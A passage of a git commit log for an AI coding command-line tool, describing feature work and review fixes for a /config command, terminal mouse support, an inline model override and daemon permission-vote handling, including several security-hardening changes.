- Tab completion for setting key names
- Levenshtein-based 'Did you mean?' suggestions for typos
- Type coercion (boolean, number, string, enum) based on schema
- Restart warning for settings that require it
- Array/object types rejected with settings.json redirect

Works in interactive, non-interactive (headless), and ACP modes.

Closes #5748

* fix(i18n): add zh-CN/zh-TW translations for /config command description

* chore: trigger CI re-run

* fix(i18n): add missing en.js key for /config command description

* fix(cli): address PR #5773 review comments for /config command

- Fix coerceValue: reject empty/Infinity for numbers, call validateSettingValue
- Non-boolean toggle now shows current value instead of error
- Add try/catch around setValue with user-friendly error
- Mask sensitive values (apiKey, proxy, baseUrl) in --help listing
- Add security-sensitive warning when setting proxy/credentials
- Case-insensitive boolean parsing (True/TRUE/1/0)
- Extract SETTABLE_TYPES as module-level constant
- Add as const to supportedModes
- Fix padRight overflow with ellipsis truncation
- Combine duplicate getSettingDefinition calls in completion
- Wrap all user-facing strings in t() with en/zh translations
- Add 9 new test cases (34 total)

* fix(cli): address remaining PR #5773 review comments

- Mask sensitive values in write-confirmation message (Critical)
- Trim rawValue after = sign for consistent enum/string matching
- Wrap formatValue/maskValue (not set)/(empty) in t() for i18n
- Add all config command translations to zh-TW.js
- Add (empty) translations to en.js, zh.js, zh-TW.js
- Add 2 new tests: sensitive write masking, whitespace trimming (36 total)

* fix(cli): address PR #5773 review comments for /config command

- Use setValues with throwOnWriteFailure instead of setValue to propagate disk write failures
- Remove dead isToggle branches in coerceValue, simplify signature
- Filter findClosestKey by SETTABLE_TYPES to avoid suggesting non-settable keys
- Use formatValue consistently for write confirmation display
- Narrow /token/i regex to path-segment boundary to avoid false positives

* fix(cli): block tools.approvalMode=yolo via /config for security

Address remaining Critical review comment from PR #5773:
- Block setting tools.approvalMode to 'yolo' via /config command
- yolo disables all tool-execution confirmation prompts, posing a
  security risk especially in ACP mode where commands can be sent
  programmatically by a compromised client
- Other sensitive keys (proxy, baseUrl, apiKey) retain existing
  warning mechanism as they are legitimate configuration targets
- Add i18n translations for the block message (en/zh/zh-TW)
- Add 2 test cases: yolo blocked, non-yolo values allowed

---------

Co-authored-by: 易良 <1204183885@qq.com>
2026-07-01 03:35:37 +00:00
Shaojin Wen
c9e1546afd
feat(web-shell): add browser tab favicon (#6091)
The Web Shell HTML shell shipped without a <link rel="icon">, so the
browser tab fell back to the generic page glyph and every load fired a
404 for /favicon.ico (the daemon static server only exposes /assets/*
and /, so a dist-root favicon file is unreachable).

Inline the Qwen mark as a data: URI in index.html instead of adding a
file + a new served route. The encoding mirrors
packages/web-templates/src/export-html (encodeURIComponent(svg)) and the
data: URI is already permitted by the shell CSP (img-src 'self' data:).
The purple #6D44E8 brand fill stays legible on both light and dark
browser tab bars.
2026-07-01 03:03:00 +00:00
Dragon
4746bc1667
feat(ui): add mouse click & hover in alternate-screen mode (#6011)
* feat(ui): add mouse click & hover in alternate-screen mode

Enable mouse interactions when Virtualized History (ui.useTerminalBuffer)
is on — it comes along with VP mode, mirroring the existing mouse-wheel
support; there is no separate setting:

- select menus / dialogs (permission prompts, /model, /config, theme, …):
  hover highlights the row under the pointer, click selects it
- / and @ suggestion lists: hover highlights, click accepts
- prompt input: left-click positions the text cursor

Adds a 'button'/'any' SGR tracking-level split to useMouseEvents (hover
needs ?1003h any-event tracking; input click uses the cheaper ?1002h), a
shared RowMouseController (menus + suggestions) and TextInputMouseController
(prompt), plus pure, unit-tested coordinate helpers (list-mouse, input-mouse).

Terminal mouse rows map to layout rows via
`min(0, terminalHeight - frameHeight)` so alternate-screen overflow
(content taller than the screen, top rows scrolled off) is corrected while
a shorter, top-anchored frame stays at anchor 0. Inline mode is unsupported
(its live region floats in native scrollback). Keyboard navigation is
unchanged.

* fix(ui): address review feedback on mouse interactions

- Route suggestion-list hover/select to the same completion source that
  builds suggestionDisplayProps. Previously the mouse handlers were hardwired
  to the normal completion controller, so in reverse-search / command-search
  mode hovering updated hidden state and clicking could no-op or accept the
  wrong suggestion. Selecting in search mode now also resets that controller
  and exits search mode, mirroring keyboard acceptance. Export completion has
  no index-based handler, so mouse selection is disabled while it is shown.

- Suppress SGR mouse parsing while a bracketed paste is in progress in
  KeypressContext. Pasted content containing `\x1b[<...M/m` was reconstructed
  and dispatched as a real click, which (now that selection lists and the
  prompt subscribe to mouse events) could let a pasted payload select a dialog
  option or move the cursor. Those bytes now fall through to the paste buffer.
  Adds a regression test with bracketed-paste content carrying an SGR press.

- Mount TextInputMouseController whenever mouse input is active rather than
  only when the buffer is non-empty, so clicking an empty prompt works and
  enable/disable escape sequences aren't churned on every empty<->filled
  toggle. handleMouse already guards null lines and zero-height rects.

- Expose setActiveSuggestionIndex from useReverseSearchCompletion to support
  hover targeting the active search source.

* docs(ui): correct RowMouseController frame-anchor comment

The header comment claimed the layout row is just event.row - 1 with no
frame anchor needed (mirroring VirtualizedList.hitTestScrollbar), but the
code routes through frameAnchor/terminalRowToLayoutRow, which subtracts a
negative anchor when the frame overflows the terminal. Correct the comment
to describe the anchor and why hit-testing needs the correction that the
scrollbar track does not.

* fix(ui): give bracketed paste priority over half-built SGR mouse fragment

When an SGR mouse fragment is mid-reassembly (e.g. a mouse-move \x1b[<…
arrives without its terminating M) and a bracketed paste begins, the
paste-start event was swallowed into the SGR buffer instead of setting
isPaste. That left isPaste false so an SGR left-press embedded in the
pasted content was reconstructed into a real click (e.g. selecting a
dialog option). Discard the half-built fragment on paste-start and fall
through to the paste handler. Adds a regression test.

* fix(ui): align mouse suggestion-accept with keyboard and snap wide-char clicks

Address review feedback on the TUI mouse PR:

- Mouse clicks on a completion suggestion now mirror the keyboard accept
  path: reset the expanded-suggestion view and export navigation ref,
  dismiss @folder completions, and honor `submitOnAccept` so clicking a
  leaf command (e.g. `/skills`) submits it in one click, matching Enter.
- `visualClickToOffset` snaps to a wide (CJK/emoji) character's right
  boundary when its right half is clicked, instead of always snapping to
  the left edge; narrow characters still resolve to the left boundary.

Adds unit coverage for the wide-char snapping and a focused test for the
default-source suggestion hover/select routing and submit-on-click.

* refactor(ui): extract resetSgrMouse helper and cover @folder mouse dismissal

Address PR review feedback on the TUI mouse work:

- KeypressContext: hoist the duplicated SGR-mouse reset block
  (swallow flag + buffer + timeout) into a single resetSgrMouse()
  helper, used by the bracketed-paste, ctrl+c, paste-start, and
  teardown paths. No behavior change.
- InputPrompt.suggestionMouse.test: add coverage for clicking an
  @folder suggestion in @-mention mode, asserting the completion is
  dismissed so the dropdown stays closed.

* fix(ui): keep combining marks attached when mapping a click to a cursor offset

visualClickToOffset forced a minimum width of 1 per code point, so a
zero-width combining mark (e.g. 'e' + U+0301) consumed a phantom column.
Clicking the glyph after a decomposed grapheme landed the cursor between
the base character and its combining mark instead of after the grapheme.
Zero-width code points are now skipped without consuming a column, matching
how the terminal renders them. Adds a regression test on 'e\u0301x'.

* fix(ui): keep combining marks attached when snapping past a wide char

When a click lands on the right half of a wide base character (e.g. a CJK
glyph) that is followed by a zero-width combining mark, the cursor was placed
between the base char and its mark. Step over following zero-width code points
after snapping past the glyph so the cursor lands after the full grapheme.

* fix(ui): cap SGR mouse reassembly buffer and simplify reset on paste

Bound the SGR mouse reassembly buffer to the same 50-byte limit used by
isIncompleteMouseSequence (now a shared MAX_SGR_MOUSE_SEQUENCE_LENGTH constant)
so a malformed \x1b[< without a terminator no longer swallows keystrokes until
the timeout fires. Also drop the redundant swallowingSgrMouse guard before the
idempotent resetSgrMouse() call in the paste branch, matching the other call
sites.

* refactor(ui): extract layoutRowForEvent for mouse row mapping

The frameAnchor(measureFrameHeight(node)) + terminalRowToLayoutRow(event.row)
pair was duplicated in RowMouseController and TextInputMouseController. Extract
a single layoutRowForEvent helper so the anchor->layout-row correction is
single-sourced and can't drift between the two controllers.

* test(ui): cover command-search mouse hover and click routing

Adds coverage for the reverse/command-search branch of handleSuggestionHover
and handleSuggestionSelect: a click while command search is active accepts via
the search completion, resets it, and exits search mode (rather than leaving
the UI stuck in search), and hover routes to the search source instead of the
default completion.

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-07-01 02:52:12 +00:00
callmeYe
e5cf48e819
feat(serve): add sessionless workspace remember (#5884)
* feat(serve): add sessionless workspace remember

* refactor(core): reuse memory scoped config for extraction

* fix(serve): harden workspace remember tasks

* fix(serve): address workspace remember review follow-up

* fix(serve): tighten workspace remember review follow-ups

* fix(acp-bridge): validate workspace remember response

* fix(sdk): validate managed memory touched scopes

* fix(sdk): keep remember guard bundle neutral

* fix(sdk): harden remember event diagnostics

* test(core): cover extraction memory scope

* fix(core): tighten memory-scoped permission guards

* fix(ci): address merge queue failures

* fix(core): hide workspace remember recordings

* fix(serve): preserve remember task polling

* fix(serve): align remember rebase imports

* fix(serve): harden hidden remember execution

* fix(cli): stabilize custom question input submit

* fix(serve): keep remember publish best-effort

* fix(serve): log hidden remember failures

* fix(core): preserve env bootstrap for empty fork history

* fix(serve): validate remember polling clients

* fix(ci): restore serve fast-path bundle check

* fix(core): preserve workflow agent env bootstrap

* fix(serve): isolate workspace remember task ownership

* fix(serve): preserve failed spawn channel cleanup

* fix(serve): reap failed empty ACP channels

* fix(serve): avoid reaping channel during pending restore

* fix(serve): tighten workspace remember review issues

* fix(acp-bridge): simplify restore failure reaping

* fix(serve): share workspace remember task lane

* fix(serve): keep hidden remember out of chat recording

* fix(serve): address remember review findings

* fix(acp-bridge): preserve live channel on restore failure

* fix(serve): address workspace remember review blockers
2026-07-01 01:53:50 +00:00
易良
6c36ac2e0c
Fix ACP daemon loop review follow-ups (#6085)
* fix(acp): address daemon loop review comments

* fix(acp): skip remaining calls after loop detection

* fix(acp): use loop skip reason after detection

* fix(cli): resolve acp loop review comments

* fix(cli): narrow daemon invalid tool bucketing

* fix(cli): abort agent batch after loop detection

* fix(cli): record loop-detected skipped tools

* fix(cli): resolve acp loop review follow-ups
2026-07-01 01:44:29 +00:00
jinye
cf6323bfb5
feat(cli): Add daemon-managed channel worker for serve --channel (#6031)
* feat(cli): add daemon-managed channel worker

* codex: address PR review feedback (#5978)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6031)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6031)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6031)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): harden serve channel worker lifecycle

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): cover channel worker edge cases

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): address channel worker review followups

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): clear channel pidfile after worker exit

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): address serve channel review feedback

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): harden serve channel worker review issues

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): preserve channel worker exit errors

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): harden daemon channel worker startup

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): address channel worker review cleanup

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): track channel worker exit explicitly

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6031)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address daemon worker startup review (#6031)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6031)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address daemon worker disconnect review (#6031)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): address serve channel review feedback

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): address channel worker review feedback

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-07-01 01:40:54 +00:00
VectorPeak
a974594d7d
fix(core): Parse tagged thinking for GLM responses (#6033)
* fix(core): parse tagged thinking for GLM responses

* fix(core): remove invalid DashScope parsing override

* fix(core): handle GLM tagged thinking stream overrides

* fix(core): preserve tagged reasoning stream order

* fix(core): stabilize tagged reasoning stream buffering

* test(core): cover tagged thinking buffered content drain
2026-06-30 23:34:45 +00:00
Tianyuan
52fdc10646
feat(cli): support inline one-shot model override in /model (#5967) (#6022)
* feat(cli): support inline one-shot model override in /model

Allow `/model <model-id> <prompt>` to run the trailing prompt on another
model for a single turn, without changing or persisting the session model.

The prompt is submitted via a per-turn `modelOverride` carried on the
`submit_prompt` result, so the chosen model applies to the turn and any
tool-call continuations it spawns, then auto-reverts on the next user
turn. This avoids session mutation, persistence, and the stuck-model
failure modes a switch+revert design would hit on cancel/error.

Scope: same-provider model switching only. An id that resolves to a
different auth type is rejected with a hint to use the two-step
`/model <id>` flow (which already handles cross-provider switches).

* feat(cli): apply inline model override in non-interactive mode

The `/model <id> <prompt>` inline override is also reachable in
non-interactive mode (the command declares `non_interactive` support),
but the non-interactive runner only consumed `submit_prompt.content` and
dropped the model override, so the prompt ran on the session default.

Thread `modelOverride` from the submit_prompt result through the
non-interactive slash result type and seed the run loop's per-turn
`modelOverride` with it, matching the interactive behavior. Verified via
OpenAI request logging: `/model glm-5.1 <prompt>` sends `model: glm-5.1`
on the foreground turn while the session default and background subagents
stay on the configured model.

* test(cli): cover modelOverride passthrough in non-interactive slash results

Assert handleSlashCommand forwards a submit_prompt result's modelOverride
to the non-interactive result, and omits it when unset.

* fix(cli): address review on inline model override

- Update the stale /model description assertion that broke CI.
- Prevent skill-tool model overrides from clobbering an explicit inline
  `/model <id> <prompt>` override mid-turn: a user-set inline override now
  wins for the whole turn (including tool-call continuations) via a
  dedicated active flag, reset on the next user turn.
- Reject the inline form in ACP mode, where the send pipeline does not
  thread a per-turn override (it would otherwise silently run on the
  session model); the two-step `/model <id>` flow still works there.
- Fix the argumentHint to not imply a prompt is valid after --fast/--voice
  /--vision, and note in the description that the inline prompt is sent
  verbatim without @file expansion.

* fix(i18n): translate updated /model description for strict-parity locales

The inline-override description change orphaned the old translation key, so
zh-CN/zh-TW fell back to English and the strict-parity command-description
coverage test failed. Update the en/zh/zh-TW entries to the new description.

* fix(cli): protect inline model override from skill clobber and retry

Non-interactive/ACP main turn unconditionally applied skill-tool
modelOverride writes, so a skill returning `modelOverride: undefined`
(inherit) silently reverted an explicit `/model <id> <prompt>` override
to the session model mid-turn. Guard the write with
`inlineModelOverrideActive`, mirroring the interactive
`inlineModelOverrideActiveRef` guard.

Also clear an inline override on Retry: it is a one-off for the original
prompt, so a Ctrl+Y retry now reverts to the session model and lets
skill-tool overrides apply again, while skill-selected overrides are
still preserved across retries.

* fix(cli): pin inline model override to active provider identity

Address review on inline `/model <id> <prompt>` one-shot override:

- Reject an inline override unless the target resolves to the SAME provider
  identity as the active session, not merely the same auth type. A different
  auth type is rejected outright; within the active auth type the target must
  match the active content generator's baseUrl + envKey. This prevents a
  same-id model owned by a different (e.g. OpenAI-compatible) provider from
  being sent to the active endpoint/credentials. Add tests for the
  match/mismatch cases.
- Move the `!settings` guard past the inline path so the inline form, which
  never touches settings, is no longer blocked when settings are absent.
- Add the two inline-override error strings to en/zh/zh-TW locales to satisfy
  strict-parity translation coverage.
- Collapse the duplicated retry-clearing branches into a single condition.
- Report the inline override model (modelOverrideRef.current ?? getModel())
  in the ApiCancelEvent and context-compaction info message so diagnostics
  show the model that actually ran the prompt.

* fix(cli,core): trace and report inline model override lifecycle

Address review follow-ups on the inline `/model <id> <prompt>` override:

- Record the model that actually processed each prompt in telemetry. Add an
  optional `model` field to `UserPromptEvent` and populate it with
  `modelOverrideRef.current ?? config.getModel()`, mirroring the cancel event.
  Emit it from both the OTel and clearcut loggers; add a logger test.
- Tell the user when a retry drops the inline override: emit an info history
  item ("retrying on the session model (...)") before clearing it, so the
  model switch on retry is no longer silent.
- Extract `applyModelOverride()` / `clearModelOverride()` helpers that write
  both the model-id ref and the inline-active flag atomically, and route the
  set/clear/skill-guard sites through them so the coupling invariant can't be
  broken by editing one ref in isolation.
- Add debugLogger entries across the override lifecycle (set, clear,
  skill-tool guard block in useGeminiStream; capture and per-turn init in
  nonInteractiveCli) so a silent override failure is traceable on call.

* fix(cli): enforce inline model override provider identity at consumers

Address review follow-ups on the inline `/model <id> <prompt>` override:

- Guard against any slash command (not just the validated `/model`) setting
  `modelOverride`. Extract `isInlineModelOverrideAllowed(config, modelId)` —
  the shared provider-identity check (active auth type + baseUrl + envKey) —
  and enforce it at both consumers (useGeminiStream and nonInteractiveCli)
  before applying an override, dropping + warning on a mismatch. `/model`
  reuses the same helper so command and consumers can't drift.
- Document the non-interactive divergence: `inlineModelOverrideActive` is a
  run-scoped const (single-turn), not a mirror of useGeminiStream's mutable
  ref helpers — no retry-clearing or skill-tool takeover applies there.
- Add the missing behavioral tests: a skill tool emitting
  `modelOverride: undefined` during an inline-override turn does not clobber
  the inline model, and a retry clears the inline override and reverts to the
  session model. Add unit tests for the provider-identity helper.
2026-06-30 22:45:31 +00:00
pomelo
e92fcbab46
fix(cli): switch TUI prefix ✦→◆ to fix glyph overflow on some terminals (#5974)
* fix(cli): replace ✦ (U+2726) with ◆ (U+25C6) and add ∵/∴ thinking icons

- Replace ✦ with ◆ across all TUI components to fix East Asian
  Ambiguous width misalignment (string-width reports 1 but terminals
  render 2 columns).
- Use ∵ (because) during thinking streaming, ∴ (therefore) when
  thinking is complete — matches the mathematical reasoning pair.

Co-Authored-By: Qwen Code <noreply@alibaba-inc.com>

* fix(cli): reduce STATUS_INDICATOR_WIDTH from 3 to 2 after ◆ replacement

◆ (U+25C6) is a consistent width-1 character across all terminals,
so the tool status indicator no longer needs the extra column that
was reserved for the ambiguous-width ✦ (U+2726).

Co-Authored-By: Qwen Code <noreply@alibaba-inc.com>

* fix(cli): catch missed ✦→◆ references in tests, docs, and scenarios

* fix(cli): shorten tmux spinner frames from 3 to 2 chars to match STATUS_INDICATOR_WIDTH=2

TMUX_SPINNER_FRAMES changed from ['.  ', '.. ', '...'] to ['· ', '··']
to prevent 1-column overflow in tmux when STATUS_INDICATOR_WIDTH was
reduced from 3 to 2 after the ◆ replacement.

* revert(cli): keep narrow '.' tmux spinner frames instead of ambiguous '·'

'.' (U+002E) is Narrow (always 1 col), giving a guaranteed fixed-width
tmux spinner. '·' (U+00B7) is East Asian Ambiguous, so on ambiguous-width=2
terminals the frames become 3/4 cols and the spinner jitters — the opposite
of the "fixed-width frames" the surrounding comment promises.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: Qwen Code <noreply@alibaba-inc.com>
Co-authored-by: pomelo.lcw <pomelo.lcw@alibaba-inc.com>
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-06-30 22:44:34 +00:00
ChiGao
c48dc32b57
fix(daemon): resolve ACP permission votes across connections (#5912)
* fix(daemon): resolve acp permission votes across connections

* fix(daemon): address review on acp permission vote resolution

Resolve the review feedback on PR #5912:

- dispatch.ts session/permission: add server-side stderr logging to every
  failure mode (missing requestId, no pending entry, ownership failure,
  bridge rejection) so a stuck permission prompt is debuggable, matching the
  legacy resolveClientResponse path.
- On bridge rejection (accepted === false), stop deleting the pending entry
  and stop reusing the "no pending" error. Keep the entry until teardown (as
  the legacy path does) and return a distinct 409 "vote not accepted" error,
  so the two states aren't conflated and a retry on another connection can
  still land.
- connection-registry.ts: extract findPendingPermissionEntry shared by
  findPendingPermission and deletePendingPermission so the matching predicate
  lives in one place; delete now stops at the first (globally unique) match.
- index.ts: the abandonPending callback logs-and-returns-false before the
  dispatcher is initialized instead of throwing through the teardown path,
  matching the detachClient callback's defensive posture.
- Tests: cover the previously-untested handler branches (missing requestId,
  invalid outcome shapes, cancelled outcome, bridge rejection + sessionId
  inference + entry retention) and assert the connection-qualified id format
  and the undefined-sessionId lookup branch.

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): log dropped cross-connection vote + cover handler error branches

Address the second ci-bot review round on PR #5912:

- dispatch.ts resolveClientResponse: the cross-connection ownership guard
  dropped a vote silently. Add a writeStderrLine so a vote rejected on the
  legacy path leaves the same grep-friendly operator signal the
  session/permission handler already emits — otherwise the agent's prompt
  stays blocked until teardown with no log to correlate.
- transport.test.ts: add end-to-end coverage for two previously-untested
  handler branches — the no-pending 404 response (requestId misses the
  registry with no sessionId) and the unowned-session rejection (a
  connection voting on a session it does not own).

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* refactor(daemon): harden acp permission lookup and align registry api

Address the third ci-bot review round on PR #5912 (all non-blocking
suggestions):

- connection-registry.ts: collapse the redundant private
  findPendingPermissionEntry pass-through into the public
  findPendingPermission, and align deletePendingPermission to the same
  (requestId, sessionId) argument order so the two can never be called with
  swapped string args (a swap would silently match nothing and leak the
  entry until teardown, with no type error).
- dispatch.ts session/permission: look the pending entry up by the
  globally-unique requestId alone and treat the entry's own session as
  authoritative; when the client supplies a sessionId that does not match,
  reject with an explicit 409 instead of routing requireOwned and the bridge
  vote at the wrong session (which left the real entry to leak until
  teardown).
- Tests: add the sessionId-mismatch rejection case and update call sites for
  the new argument order.

Out of scope and deferred: making the dispatcher's registry a required
constructor parameter (and the dependent dropResolvedPermission cleanup) —
that changes the constructor contract beyond this fix.

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): delete resolved permission by precise map key, fix comment

Address wenshao's review on PR #5912: findPendingPermission matches on
bridgeRequestId (a per-request randomUUID), not the connection-qualified
conn.pending map key. Under multi-client attach a permission_request reaches
every co-owning connection, each minting its own entry that shares the same
bridgeRequestId — so more than one entry can match and the prior "globally
unique, at most one match" comment was wrong.

- connection-registry.ts: correct the findPendingPermission doc to attribute
  uniqueness to the map key (not matched here) and note co-owning connections
  can share a bridgeRequestId, so callers needing a specific entry must act on
  the conn/map-key they already hold.
- dispatch.ts dropResolvedPermission: delete the resolved entry by its exact
  conn/map-key instead of re-matching by bridgeRequestId, which under
  multi-attach could delete a sibling connection's entry and orphan the one
  just resolved. Drops the now-unused req parameter.

deletePendingPermission stays for the session/permission handler, where the
lookup and delete consistently target the same first match.

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): align acp permission errors with REST 404/400/403 shapes

Address wenshao's two [Critical] review findings on PR #5912:

- session/permission no longer falls through to the bridge when the registry
  misses. In the scoped route a sessionId is always supplied, so a stale/
  unknown requestId previously routed to the caller's session, got a bridge
  `false`, and was reported as a thrown 409 — diverging from the established
  `404 -> false` contract of DaemonClient.respondToSessionPermission() and the
  REST route. Now a registry miss returns 404; 409 is reserved for a present
  entry the bridge still rejects.
- Wrap the bridge vote and map permission-specific throws like REST's
  sendPermissionVoteError: InvalidPermissionOptionError -> INVALID_PARAMS with
  httpStatus 400 + invalid_option_id, PermissionForbiddenError -> httpStatus
  403 + permission_forbidden (with requestId/sessionId/reason). Previously
  these fell through the outer catch into a generic httpStatus-less internal
  error, so SDK callers saw 500s for normal permission outcomes. Import the
  error classes from acp-session-bridge (as REST does) so instanceof matches
  the class the bridge throws.
- Tests: cover the 404-on-miss-with-sessionId regression and the 400/403
  mappings.

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* refactor(daemon): unify permission delete, whitelist vote forward

Address the fourth ci-bot review round on PR #5912 (non-blocking
suggestions):

- session/permission success path now drops the resolved entry through the
  shared dropResolvedPermission helper using the conn/map-key pendingRef
  already carries, instead of re-matching by requestId. Unifies the two
  delete sites and keeps the deletion precise.
- parsePermissionResponse forwards only the bridge-contract fields (outcome
  plus the ACP-reserved _meta passthrough) rather than copying every
  remaining client key, removing a needless client-controlled surface on the
  server-side bridge argument.
- transport.test.ts: the cross-connection permission test now asserts a
  duplicate vote on the same id does not reach the bridge again, locking down
  the cleanup guarantee that is the core of this PR.

Declined (replied on the threads): a blanket local try/catch around the
bridge vote (would shadow the outer dispatcher's typed-error mapping for
non-permission errors) and success-side audit logging in the generic
findPendingClientRequest (log noise / out of scope).

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): full REST parity for acp permission vote errors

Address the fifth ci-bot review round on PR #5912:

- session/permission now maps every permission-specific bridge throw like
  REST's sendPermissionVoteError: InvalidPermissionOptionError -> 400,
  PermissionForbiddenError -> 403, PermissionPolicyNotImplementedError -> 501
  (policy), CancelSentinelCollisionError -> 500 (requestId/sentinel). The last
  two previously fell through to the outer dispatcher catch and became a
  generic -32603 without structured metadata.
- Truly unexpected bridge/sessionCtx failures now run the same
  cancelAbandonedPermission fallback as the legacy resolveClientResponse path
  (dropping the entry only if the cancel landed, else keeping it for teardown)
  before rethrowing — so an unexpected error no longer leaves the mediator
  blocking the agent's prompt until session teardown.
- parsePermissionResponse rebuilds the outcome sub-object from its validated
  keys instead of forwarding it verbatim, so a client can no longer inject
  extra outcome sub-fields (e.g. force) into the bridge argument; _meta is
  forwarded only when it is an object.
- Tests: cross-connection vote via the session/permission method (ack on the
  voter's stream + entry removed from the originator), plus the 501 and 500
  error mappings.

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): preserve answers payload and delete only the voter's own entry

Address wenshao's two [Critical] findings on PR #5912:

- parsePermissionResponse no longer drops the AskUserQuestion `answers`
  payload. The whitelist tightening forwarded only outcome/_meta, but the
  bridge treats `answers` (an object map of string values) as the one
  supported non-ACP permission-response field, so votes were resolving while
  the agent received no submitted answers. Forward it under the same shape the
  bridge validates.
- The session/permission success path now deletes only the voting
  connection's OWN pending entry for the requestId, not the first
  registry-wide match. pendingRef can belong to a sibling connection; under
  the consensus policy respondToSessionPermission returns true for an
  intermediate "recorded" vote, so deleting a sibling's entry could drop a
  co-owner's still-needed request and stall the quorum. A cross-connection
  voter with no own entry deletes nothing and leaves the originator's entry
  for teardown.
- Tests: forward-answers/strip-unknown-fields case, and the cross-connection
  method test now asserts a co-owner's vote does NOT delete the originator's
  sibling entry.

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): validate legacy vote path and scope permission deletes to voter

Address the sixth ci-bot review round on PR #5912 (2 Critical + 4 suggestions):

- resolveClientResponse now validates/whitelists the client result through the
  same parsePermissionResponse the session/permission handler uses. This PR
  had widened that legacy path to any co-owning connection (via
  findPendingClientRequest), so the raw `result as unknown` cast was a
  cross-connection injection surface for arbitrary top-level args and extra
  outcome sub-fields; a malformed result still throws and hits the cancel
  fallback as before.
- The unexpected-error cancel fallback in the session/permission handler now
  drops only the VOTING connection's own entry (via the new shared
  dropOwnPendingPermission helper), not pendingRef — which is the first
  registry-wide match and may be the originator's entry, whose deletion would
  stall a consensus quorum still awaiting other co-owners.
- parsePermissionResponse logs a stderr line when a present-but-malformed
  `answers` is dropped, instead of silently discarding it.
- Removed ConnectionRegistry.deletePendingPermission: it had no production
  callers and its first-match semantics were unsafe under co-owned sessions
  (deletion is done connection-scoped in the dispatcher).
- Tests: _meta object-preserved / non-object-dropped, and the generic
  unexpected-error fallthrough (cancel fallback runs + error propagates).

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): structured 403 for unowned session/permission vote

Address wenshao's remaining [Critical] on PR #5912: the session/permission
ownership rejection went through the shared requireOwned, which sends an
INVALID_PARAMS error with no `data` envelope. Every other error path in this
handler carries `{ httpStatus }` (404/409/400/403/500/501), so SDK callers
that classify permission-vote failures by error.data.httpStatus got undefined
for the likeliest cross-connection failure (right session header, no
session/new on this connection). Inline the ownership check so the rejection
carries httpStatus 403 + sessionId + requestId, leaving the shared requireOwned
untouched for other handlers. Test asserts the 403.

(wenshao's other two criticals — legacy raw-result forwarding and the
catch-all deleting the originator's entry — were already fixed in 4bb06e5fd.)

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): structured 400 for invalid session/permission params

Address the latest ci-bot suggestion on PR #5912: parsePermissionResponse
throws AcpParamError, a plain Error with no httpStatus, which the outer
dispatcher catch maps to a bare INVALID_PARAMS — inconsistent with every other
error path in this handler (404/409/400/403/500/501 all carry httpStatus).
Catch AcpParamError locally and return a structured 400 with requestId, so SDK
callers that classify by error.data.httpStatus see a consistent shape. The
parametrized invalid-outcome test now asserts the 400.

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* perf(daemon): O(1) pending lookup, log vote success, cover malformed answers

Address wenshao's three suggestions on PR #5912:

- findPendingClientRequest parses the originating connectionId from the
  server-minted id format (_qwen_perm_<connectionId>_<counter>) for an O(1)
  byId lookup, falling back to the full scan for client-chosen ids.
- The session/permission success path now writes a stderr line ("vote
  accepted") so an operator debugging a stuck prompt can tell it apart from
  "vote never arrived" or "landed on another connection" — every failure
  branch already logs.
- Added a test for the malformed-answers branch (non-string values) asserting
  the vote still lands but answers are not forwarded to the bridge.

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): httpStatus on missing-requestId + cross-conn malformed vote test

Address the latest ci-bot review on PR #5912:

- The missing-`requestId` rejection in session/permission was the only error
  branch without an { httpStatus } envelope. Add httpStatus 400 (+ requestId)
  so SDK callers can classify it like every other validation error here. Test
  asserts the 400.
- Add an integration test for the legacy resolveClientResponse cross-connection
  variant: connection B (a co-owner) answers connection A's permission request
  with a malformed result, parsePermissionResponse (added for this path) throws,
